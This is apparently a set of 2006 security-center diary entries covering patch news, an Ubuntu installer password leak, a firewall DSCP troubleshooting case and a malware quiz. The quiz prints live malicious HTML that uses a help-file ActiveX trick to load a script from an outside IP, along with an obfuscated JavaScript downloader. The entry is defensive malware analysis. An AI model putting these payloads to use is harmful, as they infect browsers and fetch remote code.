Apple Mac OS X security patch bundle 2006-002
- CoreTypes: CVE-2006-0400
- Mail: CVE-2006-0396
- Safari, LaunchServices, CoreTypes: CVE-2006-0397, CVE-2006-0398, CVE-2006-0399
- Various non security rated regression fixes in a.o. apache_mod_php (still based on PHP 4.4.1, not on the latest 4.4.2) and rsync.
$ rsync --version
rsync version 2.5.5 protocol version 26
Copyright (C) 1996-2002 by Andrew Tridgell and others
«http://rsync.samba.org/»
Capabilities: 64-bit files, socketpairs, hard links, symlinks, batchfiles,
no IPv6, 32-bit system inums, 64-bit internal inums
rsync comes with ABSOLUTELY NO WARRANTY. This is free software, and you
are welcome to redistribute it under certain conditions. See the GNU
General Public Licence for details.
While a quick visit to http://rsync.samba.org/ shows there have been quite a few versions and fixed vulnerabilities in the mean time. --
Swa Frantzen - Section 66
Ubuntu install passwd in log
Update: the official ubuntu security advisory is here:
http://www.ubuntu.com/usn/usn-262-1
and secunia has a writeup here:
http://secunia.com/advisories/19200/
Thanks Juha-Matti!
----------------
https://launchpad.net/distros/ubuntu/+bug/34606
* Tidy up after Malone bug #34606, which left passwords exposed in
/var/log/installer/cdebconf/questions.dat, by removing those passwords;
for good measure, make /var/log/installer/cdebconf/* world-unreadable if
this bug is detected.
Cheers,
Adrien
A TCP/IP mystery (solved)
In the beginning
The client I was working for is a multinational Fortune 500 company headquartered in the US. About a year ago, we started getting complaints that some individuals in one of the lines of business was no longer able to exchange e-mail with a supplier. We got the parties involved and a conference call to troubleshoot, but the supplier's networking folks weren't all that knowledgeable. Our conclusion was that their responses (the SYN/ACK packets) to the SYN packets from our external mail relays were not reaching our firewall. After some fingerpointing back and forth, the supplier finally mentioned that they had recently "upgraded their firewall." They decided to rollback to the previous version and suddenly e-mail was flowing again. We tried to find out what had changed between versions, but were never able to find out. Not an entirely satisfactory resolution from my point of view, but the client and their supplier were happy, so we chalked that one up to experience and moved on. As you might expect, a few months later, they had the same problem with another business partner. Again, rolling back to the previous version solved the problem, and again no one was able to show us what had changed so that we could try to figure out where the real problem existed. Out of this second situation, we did learn a little bit more, namely that the firewall was actually Linux/iptables-based. That should have made it easier, I have been using Linux and iptables for my home firewall for several years, but we still weren't able to hook up with anyone who understood the Linux well enough on the partner side to get a dump of the rules or anything.Fast forward to last month. The problem rears its ugly head again. This time, the third-party is able to get us packet captures of the traffic (both working and failing) and a dump of the rules for the failure case. Finally, we might have enough data to solve the mystery. I should probably mention that while I've moved on to a different position in the company, I'm still in contact with my former team that is still working with this client. After looking things over for a while they were still confused, so they gave me a call on Friday.
Now maybe we're getting somewhere
I decided to sit down and see if I could tell what was different between the capture when the traffic succeeded (all the firewall rules were turned off, the firewall was essentially acting as a router) and the case where the traffic was failing. So I sat down and looked at the 2 captures. Now, I'd like to say that I was 'man enough' to figure it out just by looking at it with tcpdump -x, but I didn't even try, I went to ethereal almost immediately because I didn't have Stevens handy at the time (I was working from home and the book was on my shelf at the office).First, the traffic when the communication succeeded.
jac@leibnitz[513]$ tcpdump -r nofw.pcap -c4
reading from file nofw.pcap, link-type EN10MB (Ethernet)
19:15:24.492173 IP client.com.28680 > partner.com.smtp: S 604326096:604326096(0) win 65535 <mss 1460,nop,nop,sackOK>
19:15:24.492242 IP partner.com.smtp > client.com.28680: S 150399351:150399351(0) ack 604326097 win 5840 <mss 1460>
19:15:24.541465 IP client.com.28680 > partner.com.smtp: . ack 1 win 65535
19:15:24.550951 IP partner.com.smtp > client.com.28680: P 1:95(94) ack 1 win 5840
And when it failed
jac@leibnitz[514]$ tcpdump -r failed.pcap -c4
reading from file failed.pcap, link-type EN10MB (Ethernet)
19:08:51.231906 IP client.com.21644 > partner.com.smtp: S 2389181400:2389181400(0) win 65535 <mss 1460,nop,nop,sackOK>
19:08:51.231978 IP partner.com.smtp > client.com.21644: S 4040255024:4040255024(0) ack 2389181401 win 5840 <mss 1460>
19:08:54.391432 IP client.com.21644 > partner.com.smtp: S 2389181400:2389181400(0) win 65535 <mss 1460,nop,nop,sackOK>
19:08:54.391638 IP partner.com.smtp > client.com.21644: S 4040255024:4040255024(0) ack 2389181401 win 5840 <mss 1460>
Okay, so the partner server is sending the SYN/ACK back, but by sniffing on the firewall at the client end, it wasn't making it all the way back, so it was getting dropped somewhere upstream of the firewall. So I decided to look at the SYN/ACK packets from the 2 captures a little more closely with ethereal (or actually tethereal) and since I'm suspecting a router is dropping this someplace upstream of my firewall, I'm going to concentrate on layer 3 (the IP header). Why? Because that should be all the further into the packet that a router should be looking. So, first the one that works
Frame 2 (58 bytes on wire, 58 bytes captured)
Arrival Time: Mar 8, 2006 19:15:24.492242000
Time delta from previous packet: 0.000069000 seconds
Time since reference or first frame: 0.000069000 seconds
Frame Number: 2
Packet Length: 58 bytes
Capture Length: 58 bytes
Protocols in frame: eth:ip:tcp
Ethernet II, Src: Intel_f3:78:c3 (00:0c:f1:f3:78:c3), Dst: Intel_a8:7d:0a (00:d0:b7:a8:7d:0a)
Destination: Intel_a8:7d:0a (00:d0:b7:a8:7d:0a)
Source: Intel_f3:78:c3 (00:0c:f1:f3:78:c3)
Type: IP (0x0800)
Internet Protocol, Src: aa.bb.cc.dd (aa.bb.cc.dd), Dst: ee.ff.gg.hh (ee.ff.gg.hh)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 44
Identification: 0x0000 (0)
Flags: 0x04 (Don't Fragment)
0... = Reserved bit: Not set
.1.. = Don't fragment: Set
..0. = More fragments: Not set
Fragment offset: 0
Time to live: 64
Protocol: TCP (0x06)
Header checksum: 0x0a19 [correct]
Good: True
Bad : False
Source: aa.bb.cc.dd (aa.bb.cc.dd)
Destination: ee.ff.gg.hh (ee.ff.gg.hh)
And then the one that doesn't
Frame 2 (58 bytes on wire, 58 bytes captured)
Arrival Time: Mar 8, 2006 19:08:51.231978000
Time delta from previous packet: 0.000072000 seconds
Time since reference or first frame: 0.000072000 seconds
Frame Number: 2
Packet Length: 58 bytes
Capture Length: 58 bytes
Protocols in frame: eth:ip:tcp
Ethernet II, Src: Intel_f3:78:c3 (00:0c:f1:f3:78:c3), Dst: Intel_a8:7d:0a (00:d0:b7:a8:7d:0a)
Destination: Intel_a8:7d:0a (00:d0:b7:a8:7d:0a)
Source: Intel_f3:78:c3 (00:0c:f1:f3:78:c3)
Type: IP (0x0800)
Internet Protocol, Src: aa.bb.cc.dd (aa.bb.cc.dd), Dst: ee.ff.gg.hh (ee.ff.gg.hh)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x04 (DSCP 0x01: Unknown DSCP; ECN: 0x00)
0000 01.. = Differentiated Services Codepoint: Unknown (0x01)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 44
Identification: 0x0000 (0)
Flags: 0x04 (Don't Fragment)
0... = Reserved bit: Not set
.1.. = Don't fragment: Set
..0. = More fragments: Not set
Fragment offset: 0
Time to live: 64
Protocol: TCP (0x06)
Header checksum: 0x0a15 [correct]
Good: True
Bad : False
Source: aa.bb.cc.dd (aa.bb.cc.dd)
Destination: ee.ff.gg.hh (ee.ff.gg.hh)
Aha!! There is something different in the "Differentiated Services Field" (previously known as the TOS byte). So, a quick search on Google and I found RFC 791, that defined the original use of this, but I also found RFCs 1812, 2474, 2780, 3154, and 3168 which supersede 791 with respect to the usage of that byte in the IP header. Interesting. This also pointed me at http://www.iana.org/assignments/dscp-registry which describes the valid DSCP codepoints. As ethereal had already told me, 0x01 is unknown (i.e., not defined in the registry). Okay, now a quick look at the rules from the firewall and I see the following:
# Completed on Tue Mar 7 15:58:27 2006
# Generated by iptables-save v1.2.9 on Tue Mar 7 15:58:27 2006
*mangle
:PREROUTING ACCEPT [64977797:109928599664]
:INPUT ACCEPT [64929633:109926287792]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [68495493:123011914416]
:POSTROUTING ACCEPT [68435927:123006680932]
-A PREROUTING -i eth0 -p tcp -m tcp --sport 110 -j TOS --set-tos 0x04
-A PREROUTING -i eth0 -p tcp -m tcp --sport 1110 -j TOS --set-tos 0x04
-A PREROUTING -i eth0 -p tcp -m tcp --sport 465 -j TOS --set-tos 0x04
-A PREROUTING -i eth0 -p tcp -m tcp --sport 993 -j TOS --set-tos 0x04
-A PREROUTING -i eth0 -p tcp -m tcp --sport 995 -j TOS --set-tos 0x04
-A PREROUTING -i eth0 -p tcp -m tcp --sport 20 -j TOS --set-tos 0x08
-A PREROUTING -i eth0 -p tcp -m tcp --sport 21 -j TOS --set-tos 0x08
-A PREROUTING -i eth0 -p tcp -m tcp --sport 22 -j TOS --set-tos 0x10
-A PREROUTING -i eth0 -p tcp -m tcp --sport 25 -j TOS --set-tos 0x10
-A PREROUTING -i eth0 -p tcp -m tcp --sport 53 -j TOS --set-tos 0x10
-A PREROUTING -i eth0 -p tcp -m tcp --sport 80 -j TOS --set-tos 0x10
-A PREROUTING -i eth0 -p tcp -m tcp --sport 443 -j TOS --set-tos 0x10
-A PREROUTING -i eth0 -p tcp -m tcp --sport 512:65535 -j TOS --set-tos 0x04
-A PREROUTING -p tcp -m tcp --sport 443 -j TOS --set-tos 0x08
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 110 -j TOS --set-tos 0x04
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 1110 -j TOS --set-tos 0x04
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 465 -j TOS --set-tos 0x04
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 993 -j TOS --set-tos 0x04
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 995 -j TOS --set-tos 0x04
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 20 -j TOS --set-tos 0x08
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 21 -j TOS --set-tos 0x08
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 22 -j TOS --set-tos 0x10
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 25 -j TOS --set-tos 0x10
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 53 -j TOS --set-tos 0x10
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 80 -j TOS --set-tos 0x10
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 443 -j TOS --set-tos 0x10
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 512:65535 -j TOS --set-tos 0x04
COMMIT
# Completed on Tue Mar 7 15:58:27 2006
Aha, the new version of the firewall is setting the TOS byte, and since the client is initiating the connection the partners firewall is setting it to 0x04 by the following rule (if the partner initiates, it would be getting set to 0x10)
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 512:65535 -j TOS --set-tos 0x04
Okay, now we're getting somewhere, but why would that one bit cause the packet to be dropped and where was it getting dropped?
So, can we look upstream?
At this point, I asked my old team if they could take a look at the configs of the border router just outside the client firewall and see if we could see anything there that might be causing problems. They got me a copy of the configs and a couple of things jumped out at me right away.policy-map mark-inbound-http-hacks
class http-hacks
set ip dscp 1
!
Hmm.... so the border router is setting the DSCP value to 1 for things that it believes are "http-hacks". That looks pretty ominous. And a little further down
route-map null_policy_route permit 10
match ip address 106
set interface Null0
access-list 106 permit ip any any dscp 1
And there we seem to have it, anything with a DSCP value of 0x01 is getting null-routed at our border router. I talked to some of the network guys and they remembered putting this policy-map in. In fact, this comes directly from Cisco (see http://www.cisco.com/warp/public/63/nbar_acl_codered.shtml). So that has been in the border routers form a long time (if not actually from Code Red, then not too long after). By the way, for those that don't remember, Code Red was in 2001. So, what we seem to have is the 2 endpoints of the TCP conversation using different interpretations of that TOS/DSCP byte in the IP header. Also, that Cisco doc contains the following sentence, "This document uses a DSCP value of 1 (in decimal) since it is unlikely that any other network traffic is carrying this value" which would probably be true if no one was still using the old TOS interpretation of that byte.
So how do we finally solve it
Well, my cursory reading of RFC 2474, suggests that we shouldn't be calling this the TOS byte anymore. That usage has been superseded. Further, it appears that the DSCP value shouldn't really be propagated beyond the bounds of a single organization's administrative control. Cisco has a couple of documents for service providers that recommends that the DSCP values be re-marked (the term used in RFC 2474) at administrative boundaries (lest someone try to run their traffic through the service provider's network with an artificially high priority). So, one conclusion is that we should be sure we are clearing these bits when they leave or enter our administrative control. The client is waiting on change control approval and debating whether to remove the policy-map completely or change the DSCP value to 3 (which is also undefined in the IANA registry mentioned above and doesn't conflict with any old TOS uses of that byte). I'm sure there are lots of other conclusions that could be drawn from this, but for the moment, I'm not going to draw anymore. I'll leave that to you, our faithful readers.
----------------------------
Jim Clausing, jclausing --at-- isc.sans.org
Malware quiz
Some new malware sent in by a reader. Spaces and line breaks added
for readability and to prevent the accidental click. The question is, what
is the malware, and what exploits were used?
Disclaimer, this is live malware, your anti-virus may trigger. I wouldn't recommend
running it anywhere except a vmware system that is isolated.
Download the first beastie:
What is it?:
cnt9_dycht5g.htm: news or mail text
Check out the contents:
From: <x>
Subject: x
MIME-Version: 1.0
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Try to decode it:
Illegal character ':' in input file.
Strip the illegal characters and try again:
What's in there?:
HTML, lets take a looksee:
< !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
< HTML>< BODY>
< OBJECT style="display:none" id="adswqe" classid="clsid:adb880a6-d8ff-
11cf-9377-00aa003b7a11">
< PARAM name="Command" value="Related Topics, MENU">
< PARAM name="Button" value="Text:_">
< PARAM name="Window" value="$global_blank">
< PARAM name="Item1" value="
command;ms-its:c:/windows/help/ ntshared.chm:
:/alt_url_enterprise_specific.htm">
< /OBJECT>
<OBJECT style="display:none" id="adswqer" classid="clsid:adb880a6-d
8ff-11cf-9377-00aa003b7a11">
< PARAM name="Command" value="Related Topics, MENU">
< PARAM name="Button" value="Text:_">
< PARAM name="Window" value="$global_blank">
< PARAM name="Item1" value='command; javascript:execScript("document.write(\"<
script src=http:// 85.255.117.34 / cnt9.jpg
\"+String.fromCharCode(62)+\"</scr
\"+\"ipt\"+String.fromCharCode(62))")'>
< /OBJECT>
< script>adswqe.HHClick(); var vv=''; setTimeout("adswqer.HH
Click()",101); setTimeout("document.write(vv)",202); </script>
< /BODY>< /HTML>
Download the next beastie:
and voila, malware:
AntiVir 6.34.0.53 03.13.2006 no virus found
Avast 4.6.695.0 03.10.2006 no virus found
AVG 718 03.10.2006 no virus found
Avira 6.34.0.53 03.13.2006 no virus found
BitDefender 7.2 03.13.2006 no virus found
CAT-QuickHeal 8.00 03.13.2006 no virus found
ClamAV devel-20060126 03.11.2006 Trojan.Downloader.VBS.Phel.I
DrWeb 4.33 03.13.2006 VBS.Psyme.114
eTrust-InoculateIT 23.71.100 03.12.2006 no virus found
eTrust-Vet 12.4.2115 03.10.2006 no virus found
Ewido 3.5 03.13.2006 no virus found
Fortinet 2.71.0.0 03.12.2006 VBS/Phel.I-tr
F-Prot 3.16c 03.11.2006 no virus found
Ikarus 0.2.59.0 03.10.2006 no virus found
Kaspersky 4.0.2.24 03.13.2006 no virus found
McAfee 4716 03.11.2006 VBS/Psyme
NOD32v2 1.1440 03.12.2006 no virus found
Norman 5.70.10 03.10.2006 no virus found
Panda 9.0.0.4 03.12.2006 no virus found
Sophos 4.03.0 03.13.2006 no virus found
Symantec 8.0 03.13.2006 Download.Trojan
TheHacker 5.9.5.112 03.13.2006 no virus found
UNA 1.83 03.10.2006 no virus found
VBA32 3.10.5 03.13.2006 no virus found
So what are we?
cnt9.jpg: data
The strings in the file are:
s="C
RFLHHROO
NNAruC
AruC
\r\r
\r_\r
_B_<\r
MQ']T]237]T]++/]V_E_
_]8]T]:+]S]
EPPGJQMJJQNNHQLKP
\r]T]
]V_E_
BN_E_
_]<E]T]#]T]
]SM_A_
]XAruCP
AruruC
WVruCP
A";for(i=0;i<555;i++)s=s.substr(1)+
String.fromCharCode(127-s.charCodeAt(0));docu
ment.write(s);
How about a hexdump?
|s="C......_..B._|
00000010 1c 13 1e 0c 0c 16 1b 42 1c 13 0c 16 1b 45 1e 1b
|.......B.....E..|
00000020 1d 47 47 4f 1e 49 52 1b 47 19 19 52 4e 4e 1c 19
|.GGO.IR.G..RNN..|
00000030 52 46 4c 48 48 52 4f 4f 1e 1e 4f 4f 4c 1d 48 1e
|RFLHHROO..OOL.H.|
00000040 4e 4e 41 72 75 43 0f 1e 5c 72 1e 12 5f 11 1e 12
|NNAruC..\r.._...|
00000050 1a 42 1c 10 12 12 1e 11 1b 5f 09 1e 13 5c 6e 1a
|.B......._...\n.|
00000060 42 0c 17 10 5c 72 0b 1c 5c 6e 0b 41 72 75 43 0f
|B...\r..\n.AruC.|
00000070 1e 5c 72 1e 12 5f 11 1e 12 1a 42 16 0b 1a 12 4e
|.\r.._....B....N|
00000080 5f 09 1e 13 5c 6e 1a 42 58 53 1c 12 1b 51 1a 07
|_...\n.BXS...Q..|
00000090 1a 53 50 1c 5f 0c 0b 1e 5c 72 0b 5f 50 12 16 11
|.SP._...\r._P...|
000000a0 5f 1c 12 1b 51 1a 07 1a 5f 50 1c 5f 5d 1a 1c 17
|_...Q..._P._]...|
000000b0 10 5f 10 11 5f 1a 5c 72 5c 72 10 5c 72 5f 5c 72
|._.._.\r\r.\r_\r|
000000c0 1a 0c 5c 6e 12 1a 5f 11 1a 07 0b 5f 45 5f 0c 1a
|..\n.._...._E_..|
000000d0 0b 5f 10 5f 42 5f 3c 5c 72 1a 1e 0b 1a 30 1d 15
|._._B_<\r....0..|
000000e0 1a 1c 0b 57 5d 12 0c 07 12 5d 54 5d 13 4d 51 27
|...W]....]T].MQ'|
000000f0 5d 54 5d 32 33 37 5d 54 5d 2b 2b 2f 5d 56 5f 45
|]T]237]T]++/]V_E|
00000100 5f 10 51 10 0f 1a 11 5f 5d 38 5d 54 5d 3a 2b 5d
|_.Q...._]8]T]:+]|
00000110 53 5d 17 0b 0b 0f 45 50 50 47 4a 51 4d 4a 4a 51
|S]....EPPGJQMJJQ|
00000120 4e 4e 48 51 4c 4b 50 1c 11 0b 46 51 18 16 19 5d
|NNHQLKP...FQ...]|
00000130 53 39 1e 13 0c 1a 5f 45 5f 10 51 0c 1a 11 1b 5f
|S9...._E_.Q...._|
00000140 45 5f 0c 1a 0b 5f 0c 5f 42 5f 1c 5c 72 1a 1e 0b
|E_..._._B_.\r...|
00000150 1a 10 1d 15 1a 1c 0b 57 5d 1e 1b 10 1b 5d 54 5d
|.......W]....]T]|
00000160 1d 51 0c 0b 5c 72 5d 54 5d 1a 1e 12 5d 56 5f 45
|.Q..\r]T]...]V_E|
00000170 5f 0c 51 0b 06 0f 1a 42 4e 5f 45 5f 0c 51 10 0f
|_.Q....BN_E_.Q..|
00000180 1a 11 5f 45 5f 0c 51 08 5c 72 16 0b 1a 5f 10 51
|.._E_.Q.\r..._.Q|
00000190 5c 72 1a 0c 0f 10 11 0c 1a 3d 10 1b 06 5f 45 5f
|\r.......=..._E_|
000001a0 0c 51 0c 1e 09 1a 0b 10 19 16 13 1a 5f 5d 3c 45
|.Q.........._]<E|
000001b0 5d 54 5d 23 5d 54 5d 14 51 1a 5d 54 5d 07 1a 5d
|]T]#]T].Q.]T]..]|
000001c0 53 4d 5f 41 5f 1c 45 23 1c 51 09 1d 0c 59 59 08
|SM_A_.E#.Q...YY.|
000001d0 0c 1c 5c 72 16 0f 0b 5f 1c 45 23 1c 51 09 1d 0c
|..\r..._.E#.Q...|
000001e0 59 59 1b 1a 13 5f 1c 45 23 1c 51 09 1d 0c 59 59
|YY..._.E#.Q...YY|
000001f0 16 19 5f 1a 07 16 0c 0b 5f 1c 45 23 14 51 1a 07
|.._....._.E#.Q..|
00000200 1a 5f 0c 0b 1e 5c 72 0b 5f 1c 45 23 14 51 1a 07
|._...\r._.E#.Q..|
00000210 1a 5d 58 41 72 75 43 50 10 1d 15 1a 1c 0b 41 72
|.]XAruCP......Ar|
00000220 75 72 75 43 0c 1c 5c 72 16 0f 0b 41 72 75 1e 51
|uruC..\r...Aru.Q|
00000230 3c 13 16 1c 14 57 56 72 75 43 50 0c 1c 5c 72 16
|<....WVruCP..\r.|
00000240 0f 0b 41 22 3b 66 6f 72 28 69 3d 30 3b 69 3c 35
|..A";for(i=0;i<5|
00000250 35 35 3b 69 2b 2b 29 73 3d 73 2e 73 75 62 73 74
|55;i++)s=s.subst|
00000260 72 28 31 29 2b 53 74 72 69 6e 67 2e 66 72 6f 6d
|r(1)+String.from|
00000270 43 68 61 72 43 6f 64 65 28 31 32 37 2d 73 2e 63
|CharCode(127-s.c|
00000280 68 61 72 43 6f 64 65 41 74 28 30 29 29 3b 64 6f
|harCodeAt(0));do|
00000290 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 73 29 3b
|cument.write(s);|
000002a0
So, what did we end up with?
Thanks to Mark for writing in with the malware du jour.
Bonus points for figuring out anything I missed, or didn't include here!
Cheers,
Adrien
The fine print: no oompah loompahs were harmed in any way in the
creation of this diary entry.
Comments